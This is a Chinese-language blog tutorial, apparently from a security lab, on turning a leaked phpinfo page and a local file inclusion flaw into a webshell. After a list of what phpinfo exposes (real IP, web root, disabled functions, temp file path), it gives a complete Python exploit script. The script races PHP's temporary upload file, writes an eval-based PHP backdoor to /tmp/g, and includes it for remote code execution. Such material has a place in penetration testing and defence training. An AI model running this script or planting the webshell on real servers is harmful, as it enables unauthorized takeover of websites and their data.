php文件包含phpinfo怎么输出,文件包含之通过phpinfo去Getshell

青旅半醒 2023-01-17 08:21 125阅读 0赞

1.phpinfo信息利用

phpinfo文件泄露一直被大家所忽视，但其实phpinfo可以为攻击渗透测试人员提供很多的信息。

1.system

![a85a334faa6efb06564c412129e9c297.png][]

提供服务器所在的操作系统的信息。

2.真实ip

![5e699b1491249f1ea417596e6521ae91.png][]

知道真实ip的我们可以省去cdn带来的各种困扰。我们同时也可以端口旁站一顿操作。

3.web根目录

![328d56981a929c9615b31da91f13df71.png][]

网站绝对路径对渗透测试相当的有用，当你找到SQL注入点时，要上传木马的时候就需要知道网站的绝对路径才可以获取webshell。假如该网站使用的是如xampp之类的快速搭建的软件，你便可以寻找该软件对应的漏洞去尝试攻击目标网站。

4. disable\_functions

![c2d934b3f5098fd35d10e3f39e07950d.png][]

通过disable\_functions你可以了解到该网站禁用了些什么函数，然后去绕过代码执行和编写webshell时遇到的问题。

5. 临时文件路径

![c6497e45d79f00accdedc3c7806ae537.png][]

这次通过phpinfo来getshell的关键，phpinfo可以让我们获得临时文件路径。向phpinfo页面post恶意代码，可以在\_FILES\[“file1”\]中看到上传的临时文件，如果该网站存在文件包含漏洞，便可以将恶意代码存储我们已知的绝对路径去包含它getshell。

2.通过phpinfo去getshell

上面介绍了一下phpinfo的基本信息。接下来我直接演示如何通过phpinfo去getshell。

发现目标网站页面存在文件包含漏洞，并且在网站根目录发现phpinfo页面。

![b106e8162492d7478abad4303260cac5.png][]

![ed0104157210a49a072c62b3acf565a2.png][]

这样我们就可以直接使用漏洞利用脚本。脚本如下：

\#!/usr/bin/pythonimport sysimport threadingimport socketdef setup(host, port):TAG="Security Test"PAYLOAD="""%s\\r<?php file\_put\_contents('/tmp/g', '<?=eval($\_REQUEST\[1\])?>')?>\\r""" % TAGREQ1\_DATA="""-----------------------------7dbff1ded0714\\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\\rContent-Type: text/plain\\r\\r%s-----------------------------7dbff1ded0714--\\r""" % PAYLOADpadding="A" \* 5000REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\\rHTTP\_ACCEPT: """ + padding + """\\rHTTP\_USER\_AGENT: """+padding+"""\\rHTTP\_ACCEPT\_LANGUAGE: """+padding+"""\\rHTTP\_PRAGMA: """+padding+"""\\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\\rContent-Length: %s\\rHost: %s\\r\\r%s""" %(len(REQ1\_DATA),host,REQ1\_DATA)\#modify this to suit the LFI scriptLFIREQ="""GET /lfi.php?file=%s HTTP/1.1\\rUser-Agent: Mozilla/4.0\\rProxy-Connection: Keep-Alive\\rHost: %s\\r\\r\\r"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)s2 = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("\[tmp\_name\] => ")fn = d\[i+17:i+31\]except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter=0class ThreadWorker(threading.Thread):def \_\_init\_\_(self, e, l, m, \*args):threading.Thread.\_\_init\_\_(self)self.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is\_set():with self.lock:if counter >= self.maxattempts:returncounter+=1try:x = phpInfoLFI(\*self.args)if self.event.is\_set():breakif x:print "\\nGot it! Shell created in /tmp/g"self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""Gets offset of tmp\_name in the php output"""s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)s.connect((host,port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d+=iif i == "":break\# detect the final chunkif i.endswith("0\\r\\n\\r\\n"):breaks.close()i = d.find("\[tmp\_name\] => ")if i == -1:raise ValueError("No php tmp\_name in phpinfo output")print "found %s at %i" % (d\[i:i+10\],i)\# padded up a bitreturn i+256def main():print "LFI With PHPInfo()"print "-=" \* 30if len(sys.argv) < 2:print "Usage: %s host \[port\] \[threads\]" % sys.argv\[0\]sys.exit(1)try:host = socket.gethostbyname(sys.argv\[1\])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv\[1\], e)sys.exit(1)port=80try:port = int(sys.argv\[2\])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv\[2\], e)sys.exit(1)poolsz=10try:poolsz = int(sys.argv\[3\])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv\[3\], e)sys.exit(1)print "Getting initial offset...",reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = \[\]for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is\_set():breakwith l:sys.stdout.write( "\\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is\_set():print "Woot! \\m/"else:print ":("except KeyboardInterrupt:print "\\nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if \_\_name\_\_=="\_\_main\_\_":main()

使用后我们会向服务器的临时文件夹中写入一段恶意代码。

![68bcb313c9d0ec69e3960830fe421d1c.png][]

最后我们就可以通过网站的文件包含漏洞去包含执行恶意代码。

![1f96893bada880dc9f93728bac13c0b0.png][]

手握日月摘星辰，安全路上永不止步。

\- Khan攻防安全实验室

[a85a334faa6efb06564c412129e9c297.png]: /images/20221021/72eac1b438f44f79bec7dcb609e126c1.png
[5e699b1491249f1ea417596e6521ae91.png]: /images/20221021/e4fcc9d4b64445b7a3fe7070fb0ba808.png
[328d56981a929c9615b31da91f13df71.png]: /images/20221021/e22f04c53b1b4f7bb208bb4322ed5e27.png
[c2d934b3f5098fd35d10e3f39e07950d.png]: /images/20221021/18bd17621b63459eb26553741e91d647.png
[c6497e45d79f00accdedc3c7806ae537.png]: /images/20221021/f4ed0878c2164a138bd6a92732f35f00.png
[b106e8162492d7478abad4303260cac5.png]: /images/20221021/7db9595dcce249869d67a53fc0c40401.png
[ed0104157210a49a072c62b3acf565a2.png]: /images/20221021/d0909652ed7b4df1a6a639740de6c607.png
[68bcb313c9d0ec69e3960830fe421d1c.png]: /images/20221021/6df1084c42654b26910d895b86e1dadf.png
[1f96893bada880dc9f93728bac13c0b0.png]: /images/20221021/18d240d6c9ab42b49a89083651270871.png